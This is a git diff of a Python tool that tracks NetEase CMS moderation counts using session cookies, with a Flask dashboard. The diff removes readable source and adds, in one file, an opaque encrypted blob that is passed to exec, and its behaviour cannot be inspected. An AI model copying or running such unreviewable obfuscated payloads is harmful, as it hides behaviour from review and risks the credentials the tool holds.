- for attempt in range(max_retries): - try: - # 尝试不使用代理直接获取 - try: - response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False) - except: - # 如果直接获取失败,尝试使用系统代理 - proxies = { - 'http': os.environ.get('HTTP_PROXY', ''), - 'https': os.environ.get('HTTPS_PROXY', '') - } - response = requests.get(url, timeout=10, proxies=proxies, verify=False) - - if response.status_code == 200: - loaded_coefficients = response.json() - # 更新系数 - COEFFICIENTS.update(loaded_coefficients) - # 保存到本地文件 - with open(COEFFICIENTS_CONFIG_FILE, 'w', encoding='utf-8') as f: - json.dump(loaded_coefficients, f, indent=4, ensure_ascii=False) - log(f"从服务器获取系数: {loaded_coefficients}") - return True - else: - log(f"获取在线系数配置失败,HTTP状态码: {response.status_code}") - if attempt < max_retries - 1: - log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") - time.sleep(retry_delay) - continue - return False - except Exception as e: - log(f"获取在线系数配置时发生错误: {str(e)}") - if attempt < max_retries - 1: - log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") - time.sleep(retry_delay) - continue - return False - -def send_global_message(message): - """发送全局消息提示""" - try: - # 将消息写入到全局消息文件 - message_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'global_messages.json') - messages = [] - if os.path.exists(message_file): - with open(message_file, 'r', encoding='utf-8') as f: - messages = json.load(f) - - # 添加新消息 - messages.append({ - 'timestamp': int(time.time()), - 'message': message, - 'type': 'error' - }) - - # 只保留最近100条消息 - if len(messages) > 100: - messages = messages[-100:] - - # 保存消息 - with open(message_file, 'w', encoding='utf-8') as f: - json.dump(messages, f, ensure_ascii=False) - except Exception as e: - log(f"发送全局消息失败: {str(e)}") - -# 保存系数配置 -def save_coefficients(coefficients=None): - """保存系数到配置文件""" - try: - if coefficients is None: - coefficients = COEFFICIENTS - - with coefficients_lock: - with open(COEFFICIENTS_CONFIG_FILE, 'w', encoding='utf-8') as f: - json.dump(coefficients, f, indent=4, ensure_ascii=False) - log(f"系数配置已保存: {str(coefficients)}") - except Exception as e: - log(f"保存系数配置失败: {str(e)}") - -# 初始化用户凭据(从环境变量读取) -def init_credentials(): - """从环境变量初始化用户凭据""" - try: - cookie = os.environ.get('CMS_COOKIE', '') - username = os.environ.get('CMS_USERNAME', '') - - if cookie and username: - with credentials_lock: - user_credentials['cookie'] = cookie - user_credentials['username'] = username - log(f"已从环境变量加载用户凭据: {username}") - return True - else: - log(f"未能从环境变量获取用户凭据,CMS_COOKIE长度: {len(cookie)}, CMS_USERNAME: {username}") - return False - except Exception as e: - log(f"初始化用户凭据失败: {str(e)}") - return False - -def get_api_headers(cookie): - """获取API请求头""" - return { - 'accept': 'application/json, text/javascript, */*; q=0.01', - 'accept-language': 'zh-CN,zh;q=0.9', - 'cookie': cookie, - 'priority': 'u=1, i', - 'referer': 'https://god-cms.gameyw.netease.com/cms/admin/logList', - 'sec-ch-ua': '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"', - 'sec-ch-ua-mobile': '?0', - 'sec-ch-ua-platform': '"Windows"', - 'sec-fetch-dest': 'empty', - 'sec-fetch-mode': 'cors', - 'sec-fetch-site': 'same-origin', - 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36', - 'x-requested-with': 'XMLHttpRequest' - } - -def get_api_params(username, start_time, end_time, page=1, limit=500): - """获取API请求参数""" - return { - 'page': page, - 'limit': limit, - 'username': username, - 'operation': '', - 'oid': '', - 'startTime': start_time, - 'endTime': end_time, - 'ext': '{}' - } - -def log(message): - """记录日志""" - try: - logging.info(f"[CMS] {message}") - except Exception as e: - print(f"日志记录失败: {str(e)}") - print(f"原始消息: {message}") - -def get_stats_from_api(cookie, username, start_time, end_time, max_pages=500): - """从API获取统计数据""" - stats = { - 'comment': 0, - 'feed': 0, - 'complaint': 0 - } - - headers = get_api_headers(cookie) - total_count = 0 - page = 1 - - while page <= max_pages: - try: - params = get_api_params(username, start_time, end_time, page) - log(f"正在获取第 {page} 页数据,时间范围:{start_time} 至 {end_time}") - - # 记录请求详情(不包含敏感信息) - log(f"请求URL: {API_BASE_URL}") - log(f"请求参数: {str({k: v for k, v in params.items() if k not in ['cookie', 'username']})}") - - response = requests.get(API_BASE_URL, headers=headers, params=params, timeout=10) - - if response.status_code == 200: - try: - data = response.json() - - # 检查API响应格式 - if 'result' in data: - # 这是一个成功的响应,直接使用result字段 - items = data.get('result', []) - log(f"API返回成功,找到 {len(items)} 条记录") - elif data.get('success') == False: - # 这是一个明确的失败响应 - error_msg = data.get('message', '未知错误') - log(f"API返回错误:{error_msg}") - log(f"API响应内容:{response.text[:500]}") - if 'login' in error_msg.lower(): - log("Cookie可能已过期") - return None - break - else: - # 其他情况,记录响应并退出 - log(f"未知的API响应格式:{response.text[:500]}") - break - - count = len(items) - - if count == 0: - log("当前页没有数据") - break - - for item in items: - title = item.get('title', '') - operation = item.get('operation', '') - if (title == '评论审核:审核通过' or operation == 'FEED_COMMENT_REVIEW_PASS') and not title == '动态审核:审核通过': - stats['comment'] += 1 - elif title == '动态审核:审核通过' or operation == 'FEED_REVIEW_PASS': - stats['feed'] += 1 - elif operation == 'HANDLE_COMPLAINT': - stats['complaint'] += 1 - - total_count += count - log(f"第{page}页有 {count} 条记录,总计 {total_count} 条") - log(f"统计结果:评论 {stats['comment']},动态 {stats['feed']},举报 {stats['complaint']}") - - if count < params['limit']: - log("已获取所有数据") - break - - except ValueError as e: - log(f"解析JSON数据失败: {str(e)}") - log(f"原始响应内容:{response.text[:500]}") - if 'login' in response.text.lower(): - log("Cookie已过期") - return None - break - else: - log(f"API请求失败: HTTP {response.status_code}") - log(f"响应内容: {response.text[:500]}") - break - - page += 1 - - except requests.exceptions.Timeout: - log("API请求超时") - break - except requests.exceptions.ConnectionError: - log("网络连接错误,请检查网络连接") - break - except Exception as e: - log(f"获取数据失败: {str(e)}") - break - - # 确保每次都是从配置文件读取最新系数 - load_coefficients() - - # 使用全局系数变量 - with coefficients_lock: - current_coefficients = COEFFICIENTS.copy() - - # 计算折算总数 - weighted_total = ( - stats['comment'] * current_coefficients['comment'] + - stats['feed'] * current_coefficients['feed'] + - stats['complaint'] * current_coefficients['complaint'] - ) - - log(f"最终统计结果:评论 {stats['comment']},动态 {stats['feed']},举报 {stats['complaint']},折算总计 {weighted_total:.2f}") - log(f"使用系数:评论={current_coefficients['comment']}, 动态={current_coefficients['feed']}, 举报={current_coefficients['complaint']}") - - # 构建包含系数的结果 - categories = { - "评论审核": { - "count": stats['comment'], - "weighted": stats['comment'] * current_coefficients['comment'], - "coefficient": current_coefficients['comment'] - }, - "动态审核": { - "count": stats['feed'], - "weighted": stats['feed'] * current_coefficients['feed'], - "coefficient": current_coefficients['feed'] - }, - "举报处理": { - "count": stats['complaint'], - "weighted": stats['complaint'] * current_coefficients['complaint'], - "coefficient": current_coefficients['complaint'] - } - } - - return { - 'stats': stats, - 'weighted_total': weighted_total, - 'total_count': total_count, - 'categories': categories, - 'coefficients': current_coefficients - } - -def check_current_hour_counts(cookie, username): - """检查当前小时数据""" - try: - # 获取当前小时的开始时间 - now = datetime.now() - current_hour = now.hour - - start_time = now.replace(minute=0, second=0, microsecond=0).strftime('%Y-%m-%d %H:%M:%S') - end_time = now.strftime('%Y-%m-%d %H:%M:%S') - - # 调用API获取数据 - result = get_stats_from_api(cookie, username, start_time, end_time) - if result is None: - log("获取当前小时数据失败") - return None - - # 将结果写入共享文件 - try: - data = { - 'type': 'cms_hourly', - 'stats': result, - 'timestamp': now.strftime('%Y-%m-%d %H:%M:%S') - } - with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'cms_hourly.json'), 'w', encoding='utf-8') as f: - json.dump(data, f, ensure_ascii=False) - log("小时数据已更新到共享文件") - except Exception as e: - log(f"写入小时数据到共享文件失败: {str(e)}") - - return result - - except Exception as e: - log(f"检查当前小时数据失败: {str(e)}") - return None - -def check_daily_counts(cookie, username): - """检查全天数据""" - try: - # 获取今天的开始时间 - today = datetime.now().strftime('%Y-%m-%d') - start_time = "%s 00:00:00" % today - end_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S') - - # 调用API获取数据 - result = get_stats_from_api(cookie, username, start_time, end_time) - if result is None: - log("获取今日数据失败") - return None - - # 将结果写入共享文件 - try: - data = { - 'type': 'cms_daily', - 'stats': result, - 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - } - with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'cms_daily.json'), 'w', encoding='utf-8') as f: - json.dump(data, f, ensure_ascii=False) - log("全天数据已更新到共享文件") - except Exception as e: - log(f"写入全天数据到共享文件失败: {str(e)}") - - return result - - except Exception as e: - log(f"检查今日数据失败: {str(e)}") - return None - -def monitor_hourly_thread(): - """每小时监控线程""" - log("每小时监控线程启动") - while True: - try: - # 从全局变量获取用户信息 - with credentials_lock: - cookie = user_credentials['cookie'] - username = user_credentials['username'] - - if cookie and username: - # 检查当前小时数据 - check_current_hour_counts(cookie, username) - time.sleep(120) # 每2分钟检查一次 - else: - time.sleep(30) # 未登录时等待30秒 - - except Exception as e: - log(f"每小时监控线程异常: {str(e)}") - time.sleep(60) # 发生异常时等待1分钟后重试 - -def monitor_daily_thread(): - """每日监控线程""" - log("每日监控线程启动") - while True: - try: - # 从全局变量获取用户信息 - with credentials_lock: - cookie = user_credentials['cookie'] - username = user_credentials['username'] - - if cookie and username: - # 检查全天数据 - check_daily_counts(cookie, username) - time.sleep(3600) # 每60分钟检查一次 - else: - time.sleep(30) # 未登录时等待30秒 - - except Exception as e: - log(f"每日监控线程异常: {str(e)}") - time.sleep(60) # 发生异常时等待1分钟后重试 - -# 监控配置文件变化线程 -def monitor_config_thread(): - """监控配置文件变化线程""" - log("配置监控线程启动") - last_check_time = 0 - check_interval = 1800 # 30分钟 - - while True: - try: - current_time = time.time() - - # 检查是否需要更新配置 - if current_time - last_check_time >= check_interval: - log("开始检查系数配置更新") - load_coefficients() - last_check_time = current_time - - time.sleep(60) # 每分钟检查一次时间 - - except Exception as e: - log(f"配置监控线程异常: {str(e)}") - time.sleep(60) # 发生异常时等待1分钟后重试 - -def main(): - """主函数""" - log("CMS监控系统启动") - - # 解析命令行参数 - check_now = False - force_mode = False - update_coefficients = False - no_config_check = False - - for arg in sys.argv: - if arg == "--check-now": - check_now = True - log("收到立即检查参数") - elif arg == "--force": - force_mode = True - log("收到强制模式参数") - elif arg == "--update-coefficients": - update_coefficients = True - log("收到更新系数参数") - elif arg == "--no-config-check": - no_config_check = True - log("收到禁用配置检查参数") - - # 从配置文件加载系数,除非指定了不检查配置 - if not no_config_check: - load_coefficients() - else: - log("跳过配置检查,使用当前已加载的系数") - - # 处理系数更新 - if update_coefficients: - # 检查是否提供了新系数 - if len(sys.argv) >= 5: # 脚本名 + --update-coefficients + 3个系数值 - try: - # 查找参数中的系数值 - for i, arg in enumerate(sys.argv): - if arg == "--update-coefficients" and i + 3 < len(sys.argv): - new_coefficients = { - 'comment': float(sys.argv[i+1]), - 'feed': float(sys.argv[i+2]), - 'complaint': float(sys.argv[i+3]) - } - - log(f"更新系数:评论={new_coefficients['comment']}, 动态={new_coefficients['feed']}, 举报={new_coefficients['complaint']}") - - # 更新全局系数 - with coefficients_lock: - COEFFICIENTS.update(new_coefficients) - - # 保存到配置文件 - save_coefficients() - break - except ValueError as e: - log(f"系数更新失败: {str(e)}") - log("系数必须是有效的数字") - - log("系数更新完成,退出程序") - sys.exit(0) - - # 确保输出目录存在 - script_dir = os.path.dirname(os.path.abspath(__file__)) - if not os.path.exists(script_dir): - os.makedirs(script_dir) - - # 从环境变量初始化凭据 - init_credentials() - - # 处理--check-now参数 - if check_now: - # 从全局变量获取用户信息 - with credentials_lock: - cookie = user_credentials['cookie'] - username = user_credentials['username'] - - if cookie and username: - log("开始执行手动检查") - - if force_mode: - # 在强制模式下,使用当前小时的整点数据进行查询 - now = datetime.now() - current_hour = now.hour - start_time = now.replace(minute=0, second=0, microsecond=0).strftime('%Y-%m-%d %H:%M:%S') - end_time = now.replace(minute=59, second=59, microsecond=999999).strftime('%Y-%m-%d %H:%M:%S') - - log(f"强制模式:使用整点时间 {start_time} 至 {end_time}") - - # 调用API获取数据 - result = get_stats_from_api(cookie, username, start_time, end_time) - if result is not None: - # 将结果写入共享文件 - try: - data = { - 'type': 'cms_hourly', - 'stats': result, - 'timestamp': now.strftime('%Y-%m-%d %H:%M:%S') - } - with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'cms_hourly.json'), 'w', encoding='utf-8') as f: - json.dump(data, f, ensure_ascii=False) - log("小时数据已更新到共享文件") - except Exception as e: - log(f"写入小时数据到共享文件失败: {str(e)}") - else: - # 常规检查 - check_current_hour_counts(cookie, username) - - log("手动检查完成") - else: - log("无法执行手动检查: 凭据不可用") - - # 立即检查完成后退出 - sys.exit(0) - - # 启动监控线程 - hourly_thread = threading.Thread(target=monitor_hourly_thread) - hourly_thread.daemon = True - hourly_thread.start() - - daily_thread = threading.Thread(target=monitor_daily_thread) - daily_thread.daemon = True - daily_thread.start() - - # 启动配置监控线程 - config_thread = threading.Thread(target=monitor_config_thread) - config_thread.daemon = True - config_thread.start() - - # 保持主线程运行 - try: - while True: - time.sleep(10) - except KeyboardInterrupt: - log("程序被用户中断") - except Exception as e: - log(f"主线程异常: {str(e)}") - finally: - log("CMS监控系统关闭") - -if __name__ == '__main__': - main() \ No newline at end of file +# 直接执行解密和运行代码 +_yQiMr4=b'\x16\x9c\xf4\xcdQ\xf6\x13,\xf7\xc8\xe2\x1e\xb62(\xa5' +_w4GiXEqs=b'ZU7nZtc3t;MRysoZk0TMKMjyn{()kSj1BV*&NHuP*m+vz8$(+Mj7vuATbw9j^S0;xiI#A`_bwq`%G1NNrq$F75WwwAL*pB{N;!u@b<4+g;v~tajB!Y*5AgChnQ|Q@xET7vZnLda2(7%=Ov2g1CA|ipXEgETWRt!lB0*rewCM)v$HfK1;(4O}FbfBl_*Jt<(&5d8ycoO9k8c_oe4G$3_X(TJYCNUH;d`S?2Y~V*9YStyl<$)YSYz{ejenh@0BmpXU&!(YD{C~D&K=ta@&U5ad}6*Qomo%zb&g+AZ#1IO&0xz{J@*oKmGr1zTwl{0v4_KJ{AFc;0Ev}`7-=a2?4pdZ;2eOaCo*$yBcwV?Yog_3K~J_t+?Q^X!#iJCtc28TKDEjtf(SwgASF{m|Evd3_j%CL^?TQ0j7TW}vudEHf2*|~b;CZvDKOH=V0wUjaRJ`3ygsFiL&u*pyDMNDDeA~2_a@NT;-du+LE8s7uui*U`54W&MOt0iqophego4+sv2+tO7z|PQcAq$Q24Z*AkUiYRj<|Df5a^E!Vorj%J>`60C^~0h-I`l=ATRjkZ7ws+N`N!eR=k9kGJ`xy)P%QbBTj+dP4yFT4i3ZnGBdqi8nh__JdUY&%i`VL{Og0s>VhW%^h=Hamg0&jlx0G$sKp_5BCdlVVdKIWu|K6+cm_wa&yOMV+01~)!C1feR?tr)Nh@pRv7^c1ag>)3?~`0!gxcxSVLJ*{!luG{LL{#FSqm8csF{hz(UTa#pYb(l!Z}n1kh}#q4Lj04%T4r6%Q;*sfYWY()>tAfJzW2LcoHpBw(*?c>&l~E97}7;z*{Zrkjx$U)sFhblL3`g^WD3$qa_9jO*#GgfA)6->%-d%cjda)X9?6S_{YFPXwwnp(EA;x1Jj8t2Tfa(i#!gnOH~vb(VGZt`9Wr<&OLsCf(3Ar>77w!a{M=Pa^JBhQ$YCw%N!#Zi7_&qtG*O>E4krmVEu5!Icx?sLp_YuKLOny9JvkGphq`VhXuxJX+QQo9mbe|U35rvKyGa@agX7IzJhy;+LlQ=lDW<(YTQeWEeBFYWNI<{L)-1%~LC&F@m|L_SRR=Tf2)!Y|)lyCYQD9s7vS04+t%mg1B?9?EAS^5Oav>*?f=1r{wZtP7OK;9n!G9ZgrGz$Sby?A>gCB~6M+i8S7MB!vVEgl(RQQi#+2rz}O2|REe%MH67;rZ=ZHA%RK=wbBd)~N(n$a_229cDpm+pn0234dvn)mEm=5GyP*jk>+eT{O9r*bB5)v2#(z0ds-+pXVbPs1bBYy16tAg?*sXYTMJ*Yb7G&qk5)FJTHmJ%&hDo!~G?qWu$mizgmtnho_#6*vC#EwE#tysyBZAkGeRO`Un&EYx1fUaiG?Qf37yvFZvI^WDPlsyhg0uZunz{S0DJPRWA&N3cah4j#R!h^<0pVbx!+R)D=@*-g}ESYA#ZJW?v?A+cq3Zbw>|Z-bgOx9v8IQL-@An&zC&C0tASe;t0mx%)3Tkt67!=xAiy1AbSAT;95g-`}(L)xi^(SNt*Z!SE#tJAH-3m+H1_c;#00*R63m%;`6a6L++MFeNbCbYTH1;8nH4V&N4Fwuo_55oK>b`_8sn6!uYaz)!rmjEk!@xr*Ae_k$#-v1CdLZCzBsED5TgHh#UA}wlJ#B+!y`F9qz95V>@gCGTD<>*4^elIVD&pq#~2p2Ffg>B}Befjcp)Q|GxnetKWa{rd%YeROQ_pV_e=Ee%4DFFcH?nP(MR%o!r~>hxLfsbnSZ=-6V~S)innY#3kM!^3PgTh!j?7l)6rIoQ`2x2S2g)Q)Z+PEojUm`5Aq*BOSDCxYU)w+@u!^}lH%3hCO(NM<=J@V>q&>ZC00!0k9Yw&eAPDkDIZWd;tkn`yWjMW6j!F8ns*PljarGA$>jUWxMXrOVC-d*bIaIoYDjJFEpzupM)PX+B5+i-jJ!OWgBP2o`kcvi~o+pTaS4;HVb`CH#O_fIp?X&6Q_lqXkl$Z4+&%f+C+V>GBge#AP=pOxinxp-&)Sl2d)0P{WJ{>X2Gi`IkuAePB%Mc{QAoOV&;se-s8yt{7^57|iLmuc~+9uDh)m}b33O``0*K&ND~Ub{k2|KbO6CYb|xHS#ZHnEg-x#i}72Z)7UA1^SOaAe>?wkGD<--dSx>&=7T=tiJu^(@DFz4N>FP;W$aTReqqqPlo+K3OmipZDyI{L%wfx8+d_r=btT;OyY{E57J<+TI7y>zkahwN$-utd@v~CD*I&*Tv>4vQJOCms2k6!2)&ENBw*jWlMT89UIF5GWI#a$=XQgJT}wWxTQ8*wL`J&z%ViPe`sqNcHwt%QiZx&_!WWHS5?zo9ku(=8W(`ML)m>_6f&{35%N_em2{V`~D^Y;(87NV32lu;GSI}Y4M`5mi!1$vgTWS>Gt34FVFe}QT9t#Qw05O*w=bu)BX`5WJYpzsbuTtwO9BoMu!Ajg@gYYM5j3+Su}GtQr(YDY?fZ%NV5voIfTDli8QB-_q2n3IpF4C+Q-0tOTU_tn05H6=2I}9rZ9wgV5b=k3mlRaNuiR`lQC#22j3*hNBc&P3WZ9_`;d6Q107Zn>$L3AZ;|99$+zRaF5cSLP0LRDhXN#O{RU&w9x_FwB@mM5OO%CAAdY&YImS4R{+=Dq`rimAV$trLK1^XCWYDpB9m9P0ulH$l8k**upds&(Y>}AdRCj%fivP9?`s#s0>{!1>tSAaYt_Feze_)U;BDTTq)cjOaA97!s@PH}T0<)-215-4JaW$SdoN@<|5N3d=Cds5?%MI;WHpnq)r9#do^iWI(0L9IbJP^&lnSO7+PRg6&kn^6+$iFK_fKK7=#AecZj143*7iZX4S>X^wsv;=N%wYOB#6&;3*A>}&pk06QO(8~;Gpgd*-BjA>TqO1l+xjN0^ZOavxJ^8=;;1w1n{J-79vZNmj_i81Cg)43L>E0r_a3y1wmq$*$u#3Ey^g{Kf_Z#WO$FGL^-tAf@V6P$F<=rH(_5uohw@$nuD=4a1P-kC$5@13UJ-_8)s(Ud1-t(su^lRWbZsh!VNw^D#H!eeS`k<)<``~7a5&snwk%%Kn?yex_`G738k*)Aj3L0^{-jb7tJuLv*@7K3x_6BOL{Am!LlY71&1&TpbOLCmP+xlQMX1Z*{7d!`+Re6mS&{a!6-gjr0!Ct7d7iCg>L=7XF4=o?WNPi$*32P)8gZdd`XqBO8#>X1c{2o#<-v^oqb?f1B0ao9IE;DpTiu06S;+195Xhy#U8ms=_*dx{z3@Y#HS*oK=KiTQkW#h|b)cNnjg8e02B6kmufolEP!EOjK9+!)_6RfF-hxECB@c)HaT`G>o<90Cihu&NL&ip6zI2AzBeCIW+W9;`{r3r!<>P{Mld$iA2@llnootlOXLh^Vn7$H7gqj7HAYn`7{DiAE5CUyN3A$yNN-OG6J`(vXO5dBaV!b%10?ffwFRTmaH2&}^Kn*QXSnvIg9XGJNS!S_DIaB?1^L;V`26ud`_G=Ff|Sk3^O(Zh5u7LhjRlA6rs^Roi-)d297iRZoz;?Zu|DI7lG)OX3CVO%EOg)n0M5Wq@_E!3(=(wqO7w>OGZlpRo9$T)#MW|;LKLO2x=Sj^ggc@>fAWHoth$`)SA-(?q66Ew%vMp}oB-WhEeaNUZY*1~kK9W21-MYWqoRGtHmk8Tkmar5UvUMmmw-LtDIzKrKq36t(z1+&5;Kwi2e4SjLSq}hdWJMx(s1i8gn>DGcY=+2M$RUaizBcKh^^Q_HFrz9VlOgOhap5xY3GuxtELR7IfAtdnf@ES-@bF-4Rsq`)7)TnIos1VoPF{lbIq5pASwRUXzbI|T4hOydWaK9WMUdQ?)CUrjv@c=OG!E;)TVO;Sb`C|tk4!o*in#4TEu`3rRaYk9Xq*=S#q@0UxsoN(+-dZLm3slT@YK2e5={i@7nAzd3m)t<1_QS$G16{t47(&P9I_++zEQhxT}a3!bBX@1rLBWTwXc7mVf*h;acov`k4s*Ss4}+VRrjcnyv@R$^Z5+uxX4+?I=Te`{w3S#7~`XNPHGwLEwr(_AzfEQLrhD=oH!x;ExM0+It&?{5Y@cNAG=We&OiEbm%+%^x9I=8#Un*jjHBZs7rE6i&q086#PPJSwk~hA&Jb!!z}s;AV)RG;HVSf9II7B{d(@*}Y=m?L0U49G}euT_tcS%cr?zkPZ1ueJD?DvUOIKGMKc7$!)wWvI$nN_#uAj&96szW6co`8rs67HA`qWUQ?pc6LO`|Nt&EAsDHR-T}j%Ti;J}rUav_IFuXAn(rX~}RtRp3J(dfDVs=H_FRXWSr?n&BTgfgH>=9vAj&^NpCnZbo6W6jnT0!q2SI4#zeY>}ruYhe;RXFY`yWn^cCJY6qW2lmQzXjI5>-VjJOt0%Saxp`Ibl7M_s6CNkW(n`xiImqc=a$9*y?+G_2zXm9DSvP;Tg0It=-8Z1K|$NGcc!g<5tWm|QQmhiF{!-e^|4sCe1{^#?A$^P=eqY1y0WEs~%8l%niY0hGk?hyeNS$}9F?Smca!{{0_{SHHb9U*G+ihwm|ij#G!ioxr5(I#9vB~Kd1nu;jQ($exJb&O6n*7ZD#|I?>|A6-Dkvd-MY?go1@&$}!UsMQyQF0bhysl@T`_6CWM4~5&VjB{cruozsM6sucdW$2C%^%Kn!X%G~J&h5r`(5?#b>7SNi_x844$l`?n{;jDARe3YlbE^%t4ZbhS{p7_{cZtBsx=p5n);!h2Ng!6J{BUXr#KRF$I2SO^l`NG>LH?up6n5+yR*OoyVjIM>UhHCMMrJ+^ZbRKh=(6xNpc4@&ra}bJck|2XH^Qa4>^B~dY(xWU`gc3~Bommggh','exec')) +except Exception as e: + _oCam8ftwp="程序无法启动: "+str(e)[:50] + _jAsWjsViqFK("错误",_oCam8ftwp,1) + sys.exit(1) diff --git a/dashboard.py b/dashboard.py index faac293..8d64e62 100644 --- a/dashboard.py +++ b/dashboard.py @@ -1,2391 +1,49 @@ -#!/usr/bin/env python # -*- coding: utf-8 -*- -import os -import json -import time -import subprocess -import threading -import sys -from datetime import datetime, timedelta -import logging -import webbrowser -from flask import Flask, render_template, request, jsonify, session, redirect, url_for, make_response, send_from_directory, flash -import threading -from threading import Lock -import signal -import socket -import requests -import re -from flask_socketio import SocketIO # 添加WebSocket支持 -import hashlib -import psutil -import urllib3 - -# 禁用不安全请求的警告 -urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) - -# 全局应用状态变量 -shutdown_flag = False # 控制应用程序关闭的标志 - -# 初始化 SocketIO -socketio = SocketIO() - -# 系统版本固定在代码中 -VERSION = "v20250429213045" # 系统版本号 - 这是固定的本地版本 - -# 配置日志 -def setup_logging(): - try: - # 获取当前脚本所在目录 - script_dir = os.path.dirname(os.path.abspath(__file__)) - log_file = os.path.join(script_dir, 'dashboard.log') - - # 确保日志文件存在 - if not os.path.exists(log_file): - with open(log_file, 'w', encoding='utf-8') as f: - f.write('') - - logging.basicConfig( - level=logging.INFO, - format='%(asctime)s - %(levelname)s - %(message)s', - handlers=[ - logging.FileHandler(log_file, encoding='utf-8', mode='a'), - logging.StreamHandler() - ] - ) - logging.info("Dashboard日志系统初始化成功") - except Exception as e: - print(f"日志系统初始化失败: {str(e)}") - # 如果文件日志失败,至少使用控制台日志 - logging.basicConfig( - level=logging.INFO, - format='%(asctime)s - %(levelname)s - %(message)s', - handlers=[logging.StreamHandler()] - ) - -# 初始化日志系统 -setup_logging() - -# 获取或创建版本文件,格式为"当前时间(v版本号)",例如"20250408125815(v1.1)"。 -def ensure_version_file(): - """确保版本文件存在,写入固定版本号""" - try: - version_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'VERSION.txt') - - # 使用固定版本号 - version_content = VERSION - - # 写入版本文件 - with open(version_file, 'w') as f: - f.write(version_content) - logging.info(f"更新版本文件: {version_content}") - - return version_content - except Exception as e: - logging.error(f"处理版本文件时出错: {e}") - return VERSION # 返回固定版本号 - -# 获取线上版本进行比较 -def get_online_version(): - """获取线上版本信息""" - try: - log("正在获取线上版本信息...") - - # 获取系统代理设置 - proxies = { - 'http': os.environ.get('HTTP_PROXY', ''), - 'https': os.environ.get('HTTPS_PROXY', '') - } - - # 如果没有代理设置,尝试不使用代理直接访问 - if not any(proxies.values()): - log("未检测到系统代理设置,尝试直接连接...") - response = requests.get(VERSION_CHECK_URL, timeout=5, verify=False) - else: - log(f"使用系统代理设置: {proxies}") - response = requests.get(VERSION_CHECK_URL, timeout=5, proxies=proxies, verify=False) - - log(f"获取线上版本响应状态码: {response.status_code}") - - if response.status_code == 200: - version = response.text.strip() - log(f"成功获取线上版本: {version}") - return version - elif response.status_code == 407: - log("需要代理认证,尝试不使用代理直接访问...") - # 尝试不使用代理直接访问 - response = requests.get(VERSION_CHECK_URL, timeout=5, proxies={'http': None, 'https': None}, verify=False) - if response.status_code == 200: - version = response.text.strip() - log(f"直接访问成功获取线上版本: {version}") - return version - else: - log(f"直接访问失败,HTTP状态码: {response.status_code}") - return None - else: - log(f"获取线上版本失败,HTTP状态码: {response.status_code}") - return None - except requests.exceptions.Timeout: - log("获取线上版本超时") - return None - except requests.exceptions.ConnectionError: - log("连接线上版本服务器失败,尝试不使用代理直接访问...") - try: - # 尝试不使用代理直接访问 - response = requests.get(VERSION_CHECK_URL, timeout=5, proxies={'http': None, 'https': None}, verify=False) - if response.status_code == 200: - version = response.text.strip() - log(f"直接访问成功获取线上版本: {version}") - return version - else: - log(f"直接访问失败,HTTP状态码: {response.status_code}") - return None - except Exception as e: - log(f"直接访问失败: {str(e)}") - return None - except Exception as e: - log(f"获取线上版本时发生未知错误: {str(e)}") - return None - -VERSION_CHECK_URL = "https://gitea.ui-beam.cn/ui_beam/NetEaseDSMonitor/raw/branch/main/VERSION.txt" # 正式版本地址 -version_status = { - 'last_check_time': None, - 'online_version': None, - 'has_update': False -} -version_lock = Lock() - -# 版本检测线程标志 -version_check_thread_running = False - -# 检查并安装依赖 -def check_and_install_dependencies(): - try: - # 检查plyer库是否安装 - try: - import plyer - except ImportError: - log("正在安装plyer库...") - subprocess.check_call([sys.executable, "-m", "pip", "install", "plyer"]) - log("plyer库安装成功") - except Exception as e: - log(f"依赖检查/安装过程中出错: {str(e)}") - -# 禁用 Flask 的访问日志 -logging.getLogger('werkzeug').setLevel(logging.ERROR) - -# 创建Flask应用 -app = Flask(__name__) -app.secret_key = 'netease-dashboard-secret-key' # 用于session加密 -app.permanent_session_lifetime = timedelta(days=30) # 设置会话有效期为30天 -socketio.init_app(app) # 初始化 SocketIO - -# 告警阈值 -ALARM_THRESHOLD = 1900 # 两个系统折算总和的告警阈值 -alarm_status = { - 'last_alarm_time': None, - 'alarm_count': 0, - 'is_alarming': False, - 'alarm_type': None -} -alarm_lock = Lock() - -# 进程对象 -processes = { - 'breeze': None, - 'cms': None, - 'inspect': None -} - -def log(message): - """记录日志""" - try: - logging.info(message) - except Exception as e: - print("Log error: " + str(e)) - print("Original message: " + message) - -def start_monitor_processes(): - """启动监控进程""" - try: - # 获取会话凭据 - breeze_cookie = session.get('breeze_cookie', '') - cms_cookie = session.get('cms_cookie', '') - inspect_cookie = session.get('inspect_cookie', '') - username = session.get('username', '') - backend_type = session.get('backend_type', 'breeze_monitor') - - # 检查是否至少有一个Cookie可用 - if not username or not (breeze_cookie or cms_cookie or inspect_cookie): - logging.error("缺少必要的会话凭据,至少需要一个系统的Cookie和用户名") - return False - - # 终止现有进程 - terminate_existing_processes() - - # 根据提供的Cookie决定启动哪些监控进程 - processes_started = 0 - - # 仅当提供了Breeze cookie时才启动Breeze监控 - if breeze_cookie: - # 选择正确的监控脚本 - if backend_type == 'breeze_monitor_CHAT': - monitor_script = 'breeze_monitor_CHAT.py' - else: - monitor_script = 'breeze_monitor.py' - - if not os.path.exists(monitor_script): - logging.error(f"监控脚本不存在: {monitor_script}") - else: - # 启动Breeze监控进程 - breeze_env = os.environ.copy() - breeze_env['BREEZE_COOKIE'] = breeze_cookie - breeze_env['BREEZE_USERNAME'] = username - - # 定义最小化窗口的启动参数(仅Windows) - if sys.platform.startswith('win'): - si = subprocess.STARTUPINFO() - si.dwFlags |= subprocess.STARTF_USESHOWWINDOW - si.wShowWindow = 6 # SW_MINIMIZE - else: - si = None - - try: - global processes - processes['breeze'] = subprocess.Popen( - ['python', monitor_script], - env=breeze_env, - 